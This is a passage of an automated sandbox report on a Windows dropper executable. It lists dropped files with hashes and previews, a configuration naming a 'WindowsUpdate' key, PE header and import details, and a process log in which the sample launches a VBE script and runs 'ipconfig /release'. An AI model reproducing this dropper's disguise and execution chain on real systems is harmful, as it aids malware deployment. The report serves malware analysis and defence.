                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):529
                                                            Entropy (8bit):5.516709341208829
                                                            Encrypted:false
                                                            SSDEEP:12:I0ygdm87MRnqMzflzQkUpQEeOzcC5nWTVt:I0h7KRflzQdpkOzcC5e
                                                            MD5:F37CD96B0C7AB1146401D652A50D4949
                                                            SHA1:F6560E27C5B43D49A28B9461C75CD9349853581C
                                                            SHA-256:1228CC3A3CB5327E8A7B1725D6B60FF48EDFF8CC5F69D9170432C7A9CE3E5219
                                                            SHA-512:FC17A3E4957A244F2138A5C881448F0BC4BAC3AF9117268CB38578851C74AC6BDCEAFF6F76F4DEB1644842AC7364C463289EA4F07E8B25817B6D5F17B0D0FC85
                                                            Malicious:false
                                                            Preview:RE80982Hi011G4TP379296F33545qx..ToolTipConstants DateTimeConstants..6hE47ccPB6TInVeuiK1M88dJ53rJr2DK9Dr5cki5729l9t3R67fXcP7408..ComboConstants DateTimeConstants..228Uo5sB14ZWY627Uf82177or3j973PkM6568dj8s1z950x13z3864R24Q3TSs679WgI27b9cb12ce..FontConstants UpDownConstants..7q4Bst18LZn4ymo558s9gWBp41VEJSvqcmW2Mj905485Lo1P91g85V7A..ButtonConstants FileConstants..W737336760r18tx9zID07ESa58TKQo6Ly23p6t11091y8Otfu1R6n2yM3Ikx2ltq8m822B268zwpE7500i03mRpQuK393n8y23n59UQnP8B5fWovJ4H6kr6yV3SJviTU70N..DateTimeConstants ColorConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\ubblo.ppt

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):505
                                                            Entropy (8bit):5.6035107347421516
                                                            Encrypted:false
                                                            SSDEEP:12:U28SDMwPmcRG2+y/Hx0QtJz+c4pDZPR4d8XQ2X:U27DMkG2+eWQtJiNe8XQY
                                                            MD5:9C6D236F2958BAC79BBAEA0368124C9E
                                                            SHA1:6EB7669F73725E971DB7BBBFBD9BD3B95F6FF144
                                                            SHA-256:7C7318A15027028CA38FCB1A5D0A3AAD0D868755D355043CC8F2BCC33064AA34
                                                            SHA-512:62800B3D682FFE5066A08EBF6A718D67CB39EF95F18223536E5FA3AB54799EB6585B6AB7888AF1B3E5823ACF4DBBDCCB36FF953C20B5C3F066B6FBBE9FA3F8D4
                                                            Malicious:false
                                                            Preview:S8322N..StructureConstants ToolbarConstants..n8zIziDBi8oj4LoF33kIS40RvC9af3Oijy4yimo1yj7ZyJH514Tci1221jx2J3W9H4350WN9U9ad0fKB8G8OYT866f32LT6pRW4Q4Hm9104GJK1uC383..FileConstants StructureConstants..Z84gYVUd520lx6S38A5D2Nr2nJu2P9a7X547XQ5DW3MBbb47D90J..ToolTipConstants ToolbarConstants..d0yhvaU56ew7kDA6643CuK57B343cE3P4f876wECE1675Pl61D..UpDownConstants ToolbarConstants..03aHDQuc8qQcTOEU54l2szh2eoDo7r9oJ3Vrw9480j4weR03Hrc3H4JzgR225L7U5132wv07KL97Seo47N6gjf03N6564F..DateTimeConstants DateTimeConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\uhdpxnk.xls

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):590
                                                            Entropy (8bit):5.5724270978916906
                                                            Encrypted:false
                                                            SSDEEP:12:EMhdjed6AGurWnGKLvYimPNKzY0DSJXMP6m16Uf0Dlv:EMTedYJvQkzYkSqP6ORf0Zv
                                                            MD5:119AFFD488570009F1E518EB4A24E749
                                                            SHA1:6C14F4E959649AB6CA1C30647094D4631E10EC85
                                                            SHA-256:EC97360625FDEE9D8588F9C81BF183DB5567CE8814678F8A49FDC41E9FB4B0C8
                                                            SHA-512:004CF21180F638D6208D586ED8493D07F86BEB73575866E01A8535674A916E224AD126C07C7A0605792FC87A33B423780E4D6CB7E4317F98C5CDAF71A6CBA3EC
                                                            Malicious:false
                                                            Preview:5463u1W1nFOoEt7939f67J6T..BorderConstants UpDownConstants..i4J47Ayses16Y3ZS36i5O6esStCsL4199sfasgHSUe3X3c3rQ6sHs2M70FFIQQ53cD9p4M0E82727N0o3437e65L526O7thDFB57m5G3t300o73xo65YVeNe8e110g5EdFQshe846x316EJoOPwj3xOkm3qy737OPdW81084p39qI6S6m1j0rWR79k..GuiDateTimePicker ButtonConstants..8054n2687zDbHU574VY20mHx3V3176JQy198St8212d592uFErML4d9w114d25..FontConstants FontConstants..7ej69v19860o5WK6i8hr58F64R1690ec7T8Me9g126863Q022MM8cKD..BorderConstants ComboConstants..3Z149MAeS3l69J8k59316dg1p7vv82Vkc1swXoq31B7P127H86GiXU6G06Q8c81uBx4c3Tt05TR0dha3vYf89bck86Z..FontConstants GuiDateTimePicker..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\umnj.exe

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):519
                                                            Entropy (8bit):5.593462809841264
                                                            Encrypted:false
                                                            SSDEEP:12:Qtw54+xIAyeBPczEKF1p7QMCzMxRTFCvT6oVrI2R:lVIAxGzFP7QlzMDwT6UrI2R
                                                            MD5:1F9CBC5B8FC2D3570DFFC960AA5DB029
                                                            SHA1:93E564C6BA991648D775CAB9F6031A29E8A729B5
                                                            SHA-256:D702B5422288A92E07333CBC5B4E3E17092B0E4E629490DD5B1604A38CA41E93
                                                            SHA-512:A9D61DD5E0880D70AA5F4C7D309BF2F85AB694C7750BD7F5473D289092A9F8E222DA8D5303A51D9CC618C14DB30E3E8E76CF052DD2AFD669B8054574899F10B9
                                                            Malicious:false
                                                            Preview:JeL23t4uzgcqW042M3WZ5U87XjS426MAP837IgoC28..GuiDateTimePicker FileConstants..6eF5hfeE6a6A5R4M8u7Hi5HLlz1F4Iop7239605S9C1L3Z83884s9AJY2..BorderConstants TreeViewConstants..TFXBj02Fl14R1cY0h9ZN95..ToolTipConstants ColorConstants..qv043cCi0O8U2koa08mpP8q436JV4Xzqq7LwX9WB5n22l20Et2AI2678fq5988PD29u8gMF2O40h1dymO4z106ig40J1087OB2FbRV2957wH0k9RA0t82v95syrplgA48f46hIIt75r7K93A51Aj36fgWPb5v3Z6462m1Z027LdV86..BorderConstants ButtonConstants..J4zm84F90ss332WAesgs9a41EJ9z38734Ef518AV5O5..StructureConstants ToolbarConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\uudcsppmql.jpg

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:data
                                                            Category:dropped
                                                            Size (bytes):124371408
                                                            Entropy (8bit):7.01013719711929
                                                            Encrypted:false
                                                            SSDEEP:98304:VzA02S0Tc5b8MK8Nn7YaJeXhFfL4jatDXvm0u7P7UgFRvUmRZHx6dzJut5UAnqpD:Y
                                                            MD5:4E523C07F70C0CCDCFE08253CAA8167D
                                                            SHA1:7FC60140A4E8ACEC0D9E563BDAC8C4423E677438
                                                            SHA-256:E19F18CF401F84116397F7EE60D90CDC7A680D22229962E80C92748BCED84532
                                                            SHA-512:A2A345622A77003C2B8610F6EFF280D386320500F087D3695839C33291A59956966E250022B9BF3E3971BE858B948D0CD6369D6F8AD1D9ED82CE5F085592AE80
                                                            Malicious:false
                                                            Preview:..;.z...3...|...w...=.:........W...r.w..V<..n..6..a1....I. .K^V>....D.[.@.9.hq.kc9.H".zi..G.C..E....*...kc....b..J.L.Pc4..R2...'..[.W.T....0.<B.0....8.V..yAt.q.)Q....@<.IQ9.......e......#.c.s...b...>....s....].$$...W/..w...fK&.,..!K.^!..2...vU..W.<kY.O....Q.>'.}.4..rb\.).wA...0..T3.....j...Y.3]w.L\.OQ:.n;..$.i....f.J...>.}...{....,.D....&..s.h...................9........m.k.9.0.5.0.4.2.F.j.V.v.S.F.7.6.t.1.D.9.1.r.U.8.f.d.7.8.9.3.W.j.c.q.7.f.S.3.z.C.R.G.7.W.g.3.0.9......bwx.\.z.K ..J9.]_..m..3.'.U..D.HF/.......Y.............N.....~....k.4.f.4.9.7.3.9.V.4.1.9.q.2.g.h.2.6.1.7.Y.R.m.X.P.6.8.7.w.7.v.5.5.V.x.V.x.m.2.8.3.8.....5.1.0.f.W.M.3.M.q.d.F.G.2.W.S.3.X.7.E.3.5.G.4.Y.f.O.0.4.4.7.m.5.2.B.3......#...<.X...,..=..l..n/R..........(q.G.h57....T..6..0.`...q...fa.M._r...>...=..].rO....k...`......-.5j.s.,=.....i.....,......,.I.Y.^~bN]{XX....1Y/.[k.*N.S.4_[x0...'j.!.............C.. ....|.Ok).L.yf'A).=..)n.ER9K....<..>....h...}.......\..(B.;.;5..S.z..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\vlwcdtdmwd.pdf

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):618
                                                            Entropy (8bit):5.574922034092824
                                                            Encrypted:false
                                                            SSDEEP:
                                                            MD5:B0AA525211A2B10C21317C543D24022F
                                                            SHA1:F85758B20452FE9975DF82D3DE1982790D384E9B
                                                            SHA-256:87A0E65D1D8D30647A4695BEF8BEE73CBEFD00A1B82C4325C0620E8C97C0C25D
                                                            SHA-512:909E9C908F1BB0F67854917583A16D7B0B1D3DA5D2184D696C062BF367076804CCD46BC61AF36D4C84814DE397E26694FCEB16178E32E2B5084423E0C093DF62
                                                            Malicious:false
                                                            Preview:p413N969106K4R3b9WVf8klq4Srn833k06PlI3lV7QRq29Bej21u6B10Ci930r0V9Q92OU2p72576G38pG5oJ5fSkVPVAH9a6x7R3V2U15DYB2a3j2E7X..ToolTipConstants GuiDateTimePicker..LGiG0U0s1b4C9q1Oic2897oj02F4Lt65Ux5h1372L7dM5lx070Kbk32084ZVG5o712FD386h88Ew507203K7CoE14d53X73zr0Gi6Df4uu1I85dUy6r5992Aa55576136yg9GP58y0K841Lm0m797mc90T7Hs6j8ssp9..ToolbarConstants TreeViewConstants..f05Fx2D4a2U9mg68M0t9n1C0N5w4o1M8U1BVQO0282917484535H8IOU57J5Oi8Ofkb334eYNJ189pu3160QU..TreeViewConstants UpDownConstants..j0L3sl49r85ir6RUk6kL77ir4wnJ032Ge674W41ms5GQ8Sm4QoKk52640mV1H744882o92Rq8Eeu3ER4976Z6463B3741byK7P9pl4d..ColorConstants TreeViewConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\wghc.txt

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):638
                                                            Entropy (8bit):5.581529865853248
                                                            Encrypted:false
                                                            SSDEEP:
                                                            MD5:B10A0EC632DD4DA19479834A3881F51C
                                                            SHA1:BB8D2DB856312DFE32A5AB433D54B6522D6A8242
                                                            SHA-256:4845C0012EB9F64CA4DD74FD2794BDFAD0A3485FF0A825F3A1D4783410590F25
                                                            SHA-512:89D0FDB5E293D67476F4E3A4F2AABF3056695688B9775867469F3D504E14034402559FF3F674DEF8CECD31EC1A70868523C150F9AC76D53846F870417C75A07B
                                                            Malicious:false
                                                            Preview:6571c81iwV..FontConstants FontConstants..9Q899zMZfav4QcD2CXA97W4678Pc68K9Q00L8oxt0aADlm3w4J99J35RjsZ49xf37WY6A39506Q32FA169U7062ISQki256f3000q6ex6b5gO2knniY18iQOy14d5177o2SX371Mm050Ofg2401Iv05uc7Z2..StructureConstants TreeViewConstants..27hV8X8nREx9v7qal22nUO0044B6DI7jj0160Vkt984f60RE43G28G2h5CY2nExP6QK14tp3O20UTPQ7Y..UpDownConstants BorderConstants..EV98113roaAK9G86J57P7PS96H4h74875Y2HIz98p77fauV20iH860M037AF0FT5Ag3100pSl8a3617y9y353N197787Juc716119Ba..DateTimeConstants UpDownConstants..vp6117sJ55958vlsU3i7Xf6612vF16U8hAD5Cm1v175b0Im17i0m38LSn89Y3xGs2kW3j1toeH7sYMdFgmmmfe4vjY0fBS726J6Hcs785z0292..TreeViewConstants FontConstants..

                                                            C:\Users\user\AppData\Local\Temp\xhqk\xkoejcu.icm

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:modified
                                                            Size (bytes):513
                                                            Entropy (8bit):5.567164500317927
                                                            Encrypted:false
                                                            SSDEEP:
                                                            MD5:10AD2C7BE54CD51C1DE9A876C3BDBB9B
                                                            SHA1:2957F0BAE259DE92DB806D38365FDE138997C699
                                                            SHA-256:1CED6A0B41A1AC1A3AB1FCB17CFC4A0581735CBFBAC2AF638C00C34F51902FFF
                                                            SHA-512:BF46B70B6450E3DC2C5B1EE1684C761E2471C66A5FAF2A930C3E67DFD2F3808E24E8F28A05C76745F6E90EEA7D226481032868E7E42AF32238CBEC3202D07FF9
                                                            Malicious:false
                                                            Preview:9v31956WU944I687..ComboConstants TreeViewConstants..64TSr665u12992g89i019pSw3I3k8917Mwoi1u0..GuiDateTimePicker GuiDateTimePicker..j0ynA1Iv8cb9DlWKIh272BS07zfMi2T7c93x0B2Xh3S0Z225P9214997Q3179e4q33404qh9Ii7aVhbZ9qez4FEM60hy6MKylT541j36Fy..StructureConstants ToolTipConstants..629iM97PO32u140YUZ73V64vm4672f479Ms7erWh5Rk3PE29WZoA0Q8m84Wwr685vZw0De4he3wL05Iv24R9j727072gE1dpY2137996DN3274t1z6h7N..StructureConstants FontConstants..o8A2DZ9E1MWW3xx8WJnkhC9650uTr1HR4zEyTP091868hk23..StructureConstants ComboConstants..

                                                            C:\Users\user\temp\seblheptf.icm

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):78
                                                            Entropy (8bit):4.921549136713481
                                                            Encrypted:false
                                                            SSDEEP:
                                                            MD5:80CA4CAD939627C3E8D599733FB838F4
                                                            SHA1:91D6BB1010F70FA673FC3758222D5760E47F3618
                                                            SHA-256:7D2509936D550C4005FE16139EFD21D9835CD7C0D9CAEA75B97C2A40C5ABFD0C
                                                            SHA-512:23C2EC199AD2EDA0F8D397F983EFE3C38BC88086B9BC31CABFC2C320A1DFD0CC26AD5398DD35EA176E8BD7AB49FBAB871CEB28C61C9C7ED7EDC04F48D8C6EEA9
                                                            Malicious:false
                                                            Preview:[S3tt!ng]..stpths=%temp%..Key=WindowsUpdate..Dir3ctory=xhqk..ExE_c=lijei.mp3..

                                                            Static File Info

                                                            General

                                                            File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                            Entropy (8bit):7.6959347528266475
                                                            TrID:
                                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                                            • DOS Executable Generic (2002/1) 0.02%
                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                            File name:qPLzfnxGbj.exe
                                                            File size:1'309'063 bytes
                                                            MD5:44a8d88f50285e2d959ab8de1b4c830d
                                                            SHA1:a5bff295eb0d06d6fa568c39b09b3157c587adae
                                                            SHA256:1e847cccbb36b7d28db70aeedede580bab5721a1da53b9296b1c4e13b344c313
                                                            SHA512:7ef4ac8baf61546685721097fef671f9327342bd041267acb51df8561923cdffa3bda7330bea3bad273c6390626003d66ca6a19dd63bb58dd8894b6a762edd14
                                                            SSDEEP:24576:sN/BUBb+tYjBFHB0XlKEKhkiM702HAyiUXXiM0hD6di/AR:YpUlRhAIm0wXiM0hDT0
                                                            TLSH:8F551212BBC4C472D1B625315AB5D724197D7D601FA28A8B63E03DBF6A319C2C631FA3
                                                            File Content Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v..p2.b#2.b#2.b#.E.#?.b#.E.#..b#.E.#*.b#...#0.b#..f"!.b#..a"*.b#..g"..b#;..#9.b#;..#5.b#2.c#,.b#..g"..b#..b"3.b#...#3.b#..`"3.b

                                                            File Icon

                                                            Icon Hash:e4c0c4c4c0c0c400

                                                            Static PE Info

                                                            General

                                                            Entrypoint:0x4265d0
                                                            Entrypoint Section:.text
                                                            Digitally signed:false
                                                            Imagebase:0x400000
                                                            Subsystem:windows gui
                                                            Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                            Time Stamp:0x6640971F [Sun May 12 10:17:03 2024 UTC]
                                                            TLS Callbacks:
                                                            CLR (.Net) Version:
                                                            OS Version Major:5
                                                            OS Version Minor:1
                                                            File Version Major:5
                                                            File Version Minor:1
                                                            Subsystem Version Major:5
                                                            Subsystem Version Minor:1
                                                            Import Hash:99ee65c2db82c04251a5c24f214c8892

                                                            Entrypoint Preview

                                                            Instruction
                                                            call 00007FCE44BDA4EBh
                                                            jmp 00007FCE44BD9E6Dh
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            push ecx
                                                            lea ecx, dword ptr [esp+08h]
                                                            sub ecx, eax
                                                            and ecx, 0Fh
                                                            add eax, ecx
                                                            sbb ecx, ecx
                                                            or eax, ecx
                                                            pop ecx
                                                            jmp 00007FCE44BD951Fh
                                                            push ecx
                                                            lea ecx, dword ptr [esp+08h]
                                                            sub ecx, eax
                                                            and ecx, 07h
                                                            add eax, ecx
                                                            sbb ecx, ecx
                                                            or eax, ecx
                                                            pop ecx
                                                            jmp 00007FCE44BD9509h
                                                            push ebp
                                                            mov ebp, esp
                                                            sub esp, 0Ch
                                                            lea ecx, dword ptr [ebp-0Ch]
                                                            call 00007FCE44BCCA49h
                                                            push 0044634Ch
                                                            lea eax, dword ptr [ebp-0Ch]
                                                            push eax
                                                            call 00007FCE44BDAD17h
                                                            int3
                                                            jmp 00007FCE44BE0A4Eh
                                                            int3
                                                            int3
                                                            push 004293C0h
                                                            push dword ptr fs:[00000000h]
                                                            mov eax, dword ptr [esp+10h]
                                                            mov dword ptr [esp+10h], ebp
                                                            lea ebp, dword ptr [esp+10h]
                                                            sub esp, eax
                                                            push ebx
                                                            push esi
                                                            push edi
                                                            mov eax, dword ptr [00449778h]
                                                            xor dword ptr [ebp-04h], eax
                                                            xor eax, ebp
                                                            push eax
                                                            mov dword ptr [ebp-18h], esp
                                                            push dword ptr [ebp-08h]
                                                            mov eax, dword ptr [ebp-04h]
                                                            mov dword ptr [ebp-04h], FFFFFFFEh
                                                            mov dword ptr [ebp-08h], eax
                                                            lea eax, dword ptr [ebp-10h]
                                                            mov dword ptr fs:[00000000h], eax
                                                            ret
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            int3
                                                            mov ecx, dword ptr [ebp-10h]
                                                            mov dword ptr fs:[00000000h], ecx
                                                            pop ecx
                                                            pop edi
                                                            pop edi
                                                            pop esi
                                                            pop ebx
                                                            mov esp, ebp
                                                            pop ebp
                                                            push ecx
                                                            ret
                                                            push ebp
                                                            mov ebp, esp

                                                            Rich Headers

                                                            Programming Language:
                                                            • [ C ] VS2008 SP1 build 30729
                                                            • [IMP] VS2008 SP1 build 30729

                                                            Data Directories

                                                            NameVirtual AddressVirtual Size Is in Section
                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x47d700x34.rdata
                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x47da40x50.rdata
                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x580000x14000.rsrc
                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x6c0000x2afc.reloc
                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x445800x54.rdata
                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_TLS0x446000x18.rdata
                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x3ec580x40.rdata
                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_IAT0x3c0000x280.rdata
                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x4722c0x120.rdata
                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                            Sections

                                                            NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                            .text0x10000x3a32c0x3a400e320764e1b3c816ba80aeb820cb8a274False0.581381605418455data6.685359764265178IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                            .rdata0x3c0000xcbf80xcc0047c3be3304bfdfb2a778f355849d1c3fFalse0.4439529718137255data5.167069652624378IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .data0x490000xd7e00x12006335f9314c2900dccb530e151f1b1ee8False0.3956163194444444data4.0290550032041IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                            .didat0x570000x1a80x200232a8fe82993b55cefe09cffc39a79b0False0.462890625data3.5080985761326375IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                            .rsrc0x580000x140000x1400063b8b1c887555f5b418466ebcc36b4a6False0.30692138671875data3.9247081385112548IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                            .reloc0x6c0000x2afc0x2c0098fd4bc572f87a21f69dc57f720a6dbcFalse0.75data6.617141671767599IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                            Resources

                                                            NameRVASizeTypeLanguageCountryZLIB Complexity
                                                            PNG0x586140xb45PNG image data, 93 x 302, 8-bit/color RGB, non-interlacedEnglishUnited States1.0027729636048528
                                                            PNG0x5915c0x15a9PNG image data, 186 x 604, 8-bit/color RGB, non-interlacedEnglishUnited States0.9363390441839495
                                                            RT_ICON0x5a7080x22dcPNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced0.9669430748543254
                                                            RT_ICON0x5c9e40x94a8Device independent bitmap graphic, 96 x 192 x 32, image size 380160.08403405507672904
                                                            RT_ICON0x65e8c0x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 96000.09439834024896265
                                                            RT_ICON0x684340x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 42240.10342401500938087
                                                            RT_ICON0x694dc0x468Device independent bitmap graphic, 16 x 32 x 32, image size 10880.0700354609929078
                                                            RT_DIALOG0x699440x286dataEnglishUnited States0.5092879256965944
                                                            RT_DIALOG0x69bcc0x13adataEnglishUnited States0.60828025477707
                                                            RT_DIALOG0x69d080xecdataEnglishUnited States0.6991525423728814
                                                            RT_DIALOG0x69df40x12edataEnglishUnited States0.5927152317880795
                                                            RT_DIALOG0x69f240x338dataEnglishUnited States0.45145631067961167
                                                            RT_DIALOG0x6a25c0x252dataEnglishUnited States0.5757575757575758
                                                            RT_STRING0x6a4b00x1e2dataEnglishUnited States0.3900414937759336
                                                            RT_STRING0x6a6940x1ccdataEnglishUnited States0.4282608695652174
                                                            RT_STRING0x6a8600x1b8dataEnglishUnited States0.45681818181818185
                                                            RT_STRING0x6aa180x146dataEnglishUnited States0.5153374233128835
                                                            RT_STRING0x6ab600x46cdataEnglishUnited States0.3454063604240283
                                                            RT_STRING0x6afcc0x166dataEnglishUnited States0.49162011173184356
                                                            RT_STRING0x6b1340x152dataEnglishUnited States0.5059171597633136
                                                            RT_STRING0x6b2880x10adataEnglishUnited States0.49624060150375937
                                                            RT_STRING0x6b3940xbcdataEnglishUnited States0.6329787234042553
                                                            RT_STRING0x6b4500x1c0dataEnglishUnited States0.5178571428571429
                                                            RT_STRING0x6b6100x250dataEnglishUnited States0.44256756756756754
                                                            RT_GROUP_ICON0x6b8600x4cdata0.7763157894736842
                                                            RT_MANIFEST0x6b8ac0x753XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3957333333333333

                                                            Imports

                                                            DLLImport
                                                            KERNEL32.dllLocalFree, GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, GetCurrentProcessId, CreateDirectoryW, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, GlobalMemoryStatusEx, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, IsValidCodePage, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, HeapReAlloc, LCMapStringW, FindFirstFileExA, FindNextFileA
                                                            OLEAUT32.dllSysAllocString, SysFreeString, VariantClear
                                                            gdiplus.dllGdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

                                                            Possible Origin

                                                            Language of compilation systemCountry where language is spokenMap
                                                            EnglishUnited States

                                                            Network Behavior

                                                            ⊘No network behavior found

                                                            Statistics

                                                            CPU Usage

                                                            Click to jump to process

                                                            Memory Usage

                                                            Click to jump to process

                                                            High Level Behavior Distribution

                                                            Click to dive into process behavior distribution

                                                            Behavior

                                                            Click to jump to process

                                                            System Behavior

                                                            General

                                                            Target ID:0
                                                            Start time:12:27:57
                                                            Start date:05/12/2024
                                                            Path:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Users\user\Desktop\qPLzfnxGbj.exe"
                                                            Imagebase:0xd70000
                                                            File size:1'309'063 bytes
                                                            MD5 hash:44A8D88F50285E2D959AB8DE1B4C830D
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:low
                                                            Has exited:true

                                                            General

                                                            Target ID:2
                                                            Start time:12:28:02
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\SysWOW64\wscript.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe"
                                                            Imagebase:0xfc0000
                                                            File size:147'456 bytes
                                                            MD5 hash:FF00E0480075B095948000BDC66E81F0
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high
                                                            Has exited:true

                                                            General

                                                            Target ID:3
                                                            Start time:12:28:10
                                                            Start date:05/12/2024
                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Windows\System32\cmd.exe" /c ipconfig /release
                                                            Imagebase:0x1c0000
                                                            File size:236'544 bytes
